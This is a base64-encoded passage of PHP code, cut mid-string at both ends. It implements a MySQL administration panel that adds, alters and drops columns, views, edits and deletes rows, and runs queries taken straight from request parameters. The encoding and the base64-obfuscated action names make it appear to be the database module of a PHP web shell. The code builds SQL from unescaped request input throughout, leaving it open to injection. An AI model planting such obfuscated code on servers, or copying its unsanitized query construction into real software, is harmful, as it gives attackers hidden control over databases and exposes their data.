Qo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPH